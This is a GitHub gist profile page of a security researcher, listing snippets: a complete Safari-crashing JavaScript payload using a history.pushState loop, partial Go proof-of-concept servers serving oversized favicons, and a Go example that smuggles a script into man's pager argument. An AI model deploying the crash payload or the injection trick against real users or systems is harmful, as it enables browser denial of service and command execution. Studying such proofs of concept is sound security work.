Skip to content

Instantly share code, notes, and snippets.

View ejcx's full-sized avatar

Evan J Johnson ejcx

View GitHub Profile
root@ejjio:/var/www/breaking-sop# curl https://api.stripe.com -I
HTTP/1.1 401 Unauthorized
Server: nginx
Date: Tue, 23 Feb 2016 06:23:25 GMT
Content-Type: application/json
Content-Length: 342
Connection: keep-alive
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, HEAD, OPTIONS, DELETE
Access-Control-Allow-Origin: *
@ejcx
ejcx / crash.js
Created January 26, 2016 01:00
Crashing Safari Payload
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
@ejcx
ejcx / onebigfavicon.go
Last active February 29, 2016 04:40
Go program that makes a webserver with an infinitely large favicon.
package main
import (
"crypto/rand"
"fmt"
"log"
"net/http"
)
func main() {
@ejcx
ejcx / goodAuthPatternAndUnauth.go
Last active January 2, 2016 23:47
Go Authentication Design Pattern
package main
import (
"log"
"net/http"
"os"
"github.com/gorilla/sessions"
)
@ejcx
ejcx / goodAuthPattern.go
Last active January 2, 2016 19:49
Go Authentication Design Patterns
package main
import (
"log"
"net/http"
"os"
"github.com/gorilla/sessions"
)
@ejcx
ejcx / badAuthPattern.go
Last active January 2, 2016 20:08
Go Authentication Design Patterns
package main
import (
"log"
"net/http"
"os"
"github.com/gorilla/sessions"
)
@ejcx
ejcx / badexec.go
Last active August 29, 2015 14:24
package main
import (
"os/exec"
"fmt"
)
func main() {
err := exec.Command("man", "-P /tmp/runme.sh", "man").Run()
fmt.Println(err)
@ejcx
ejcx / newbox.sh
Created June 19, 2015 20:36
newbox.sh
#!/bin/bash
cd
echo "export PATH=\"/usr/local/go/bin/\":\$PATH
export GOPATH=\"/root/go\"" >> ~/.bashrc
curl https://storage.googleapis.com/golang/go1.4.2.linux-amd64.tar.gz > go.1.4.2.tar.gz
tar -zxvf go.1.4.2.tar.gz
mv go /usr/local/
mkdir go
cd go
mkdir src bin pkg
package main
import (
"crypto/rand"
"fmt"
"log"
"net/http"
"os"
)
@ejcx
ejcx / bigfavicon.go
Last active August 29, 2015 14:23
PoC to make browsers download favicons that are way bigger than should be allowed.
package main
import (
"crypto/rand"
"fmt"
"log"
"net/http"
"os"
)